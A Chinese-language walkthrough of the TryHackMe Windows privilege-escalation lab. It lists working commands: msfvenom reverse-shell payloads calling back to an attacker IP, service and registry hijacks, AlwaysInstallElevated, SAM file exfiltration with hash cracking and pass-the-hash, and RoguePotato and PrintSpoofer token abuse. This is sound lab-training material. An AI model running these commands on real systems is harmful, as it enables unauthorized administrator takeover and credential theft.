THMWindowsPrivEsc房间walkthrough
xfreerdp /u:user /p:password321 /v:10.10.169.4 /dynamic-resolution
生成反向Shell可执行文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.38.245 LPORT=1234 -f exe -o reverse.exe |
生成exe反弹shell
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . |
开启一个本地SMB共享服务器用于传输文件,共享名叫作kali
CMD中:
copy \\10.11.38.245\kali\reverse.exe C:\PrivEsc\reverse.exe |
kali开启监听
cmd执行:
C:\PrivEsc\reverse.exe
收到反弹shell
服务漏洞
不安全的服务权限
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc |
使用accesschk.exe检查“user”帐户对“daclsvc”服务的权限
RW daclsvc |
有以上权限
sc qc daclsvc |
查看服务的配置
原始的执行文件路径是C:\Program Files\DACL Service\daclservice.exe
SERVICE_CHANGE_CONFIG是更改服务配置的权限
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" |
设置服务执行的可执行文件为之前创建的反弹shell
开启监听
net start daclsvc |
开启服务。收到反弹shell
未引用的服务路径
sc qc unquotedsvc |
查看服务配置
看到原始的执行文件是C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
文件路径存在空格
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" |
查看权限,发现我们在这个目录有可写的权限
输出解释:
C:\Program Files\Unquoted Path Service
: 这是目标目录的路径。Medium Mandatory Level (Default) [No-Write-Up]
: 这是目录的强制完整性级别,通常为 “Medium”。”[No-Write-Up]” 表示没有写入权利,即用户不能写入该目录。RW BUILTIN\Users
: 这表示 “BUILTIN\Users” 组具有该目录的读取和写入权限。RW NT SERVICE\TrustedInstaller
: 这表示 “NT SERVICE\TrustedInstaller” 用户具有该目录的读取和写入权限。这通常是由操作系统使用的特权用户。RW NT AUTHORITY\SYSTEM
: 这表示 “NT AUTHORITY\SYSTEM” 用户具有该目录的读取和写入权限。这也是一个高特权的系统用户。RW BUILTIN\Administrators
: 这表示 “BUILTIN\Administrators” 组具有该目录的读取和写入权限。这通常是本地管理员组的成员。
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" |
利用目录空格解析问题,生成一个Common.exe,Common Files会被解析成Common.exe
开启监听,开启服务
net start unquotedsvc |
收到反弹shell
注册表权限薄弱
sc qc regsvc |
查询注册表的配置,发现是以管理员权限运行的
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc |
发现能被NT AUTHORITY\INTERACTIVE组(也就是所有用户)更改
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f |
将regsvc的执行文件改成反弹shell
开启监听,开启服务
net start regsvc |
收到反弹shell。看到服务的路径也存在空格,可以用上一个方法来反弹shell
不安全的服务可执行文件
sc qc filepermsvc |
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" |
一样的操作
注册表
自动运行
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
查看注册表中在系统启动时自动运行的程序列表
查询注册表中的 AutoRun 可执行文件
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" |
copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y |
kali开启监听
rdesktop 10.10.225.163 |
重启机器后再次远程登录,收到反弹shell
AlwaysInstallElevated
AlwaysInstallElevated 是 Windows 系统中的一个注册表项,它控制着普通用户是否能够使用 Windows Installer Service(即MSI安装程序)以管理员权限安装或卸载程序。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
查询注册表中的 AlwaysInstallElevated 密钥
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi |
生成msi安装格式的反弹shell
copy \\10.11.38.245\kali\reverse.msi C:\PrivEsc\reverse.msi |
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi |
收到反弹shell
密码
注册表
reg query HKLM /f password /t REG_SZ /s |
在注册表中搜索密码的键和值
或者:
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" |
直接在相关路径查询
winexe -U 'admin%password' //10.10.245.145 cmd.exe |
在 Kali 上,使用 winexe 命令生成一个以管理员权限运行的cmd
因为房间的原因密码可能不会存储在注册表
保存的信用
cmdkey /list |
列出所有已保存的凭据
开启监听
runas /savecred /user:admin C:\PrivEsc\reverse.exe |
runas是以别的用户身份来运行程序
安全账户管理器 (SAM)
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\ |
复制错误存放的SAM和SYSTEM到kali
git clone https://github.com/Tib3rius/creddump7 |
下载脚本
git clone https://github.com/Tib3rius/creddump7 |
得到NTLM哈希a9fdfa038c4b75ebc76dc855dd74f0da
hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt |
Pass the Hash
pth-winexe -U 'admin%hash' //10.10.245.145 cmd.exe |
直接利用哈希生成一个管理员身份的cmd,passthehash在evil-winrm也能用
计划任务
type C:\DevTools\CleanUp.ps1 |
查看这个脚本,注释说每分钟都会执行
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 |
查看权限,拥有读写的权限
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1 |
将 C:\PrivEsc\reverse.exe 的路径附加到 C:\DevTools\CleanUp.ps1 文件的末尾,会执行反弹shell,开启监听,马上就收到了shell
不安全的 GUI 应用程序
看到桌面有一个adminpaint,打开提示以管理员身份运行
tasklist /V | findstr mspaint.exe |
查找这个进程的一些详细信息
在画图界面的右上角,文件-打开。记得打开all-files,搜索c:/windows/system32/cmd.exe,然后右键open,发现是管理员身份
启动应用程序
C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp |
发现startup目录有写入的权限
cscript C:\PrivEsc\CreateShortcut.vbs |
利用房间给的脚本,在StartUp目录中创建反向.exe 可执行文件的新快捷方式,开启监听,重启机器,然后
rdesktop -u admin 10.10.156.214 |
令牌冒充
Rogue Potato
sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.156.214:9999 |
用socat做了个端口转发,将靶机的9999端口转发到靶机的135端口
xfreerdp /u:admin /p:password123 /v:10.10.156.214 /dynamic-resolution |
以admin身份登录,搜索cmd,右键以管理员身份打开,kali开启监听
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe |
以”nt authority\local service” 用户的身份收到一个反弹shell
woami /all |
发现我们有SeImpersonatePrivilege(模拟令牌)的权限
kali再开一个nc监听,端口和反弹shell里面一样,我这里用的都是1234。
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999 |
收到反弹shell,管理员身份
或者有SeAssignPrimaryTokenPrivilege特权也可以利用这个Rogue Potato方式提权
PrintSpoofer
和上个任务一样需要SeImpersonatePrivilege特权
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe |
先获得local serviece权限
开启另一个监听
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i |
直接提权
碎碎念
闲暇之余,再次过了比较系统地整理Windows提权的一些常用方式。这次比初次学习win提权相对来说熟练了许多,对于一些win的操作系统和命令都能理解。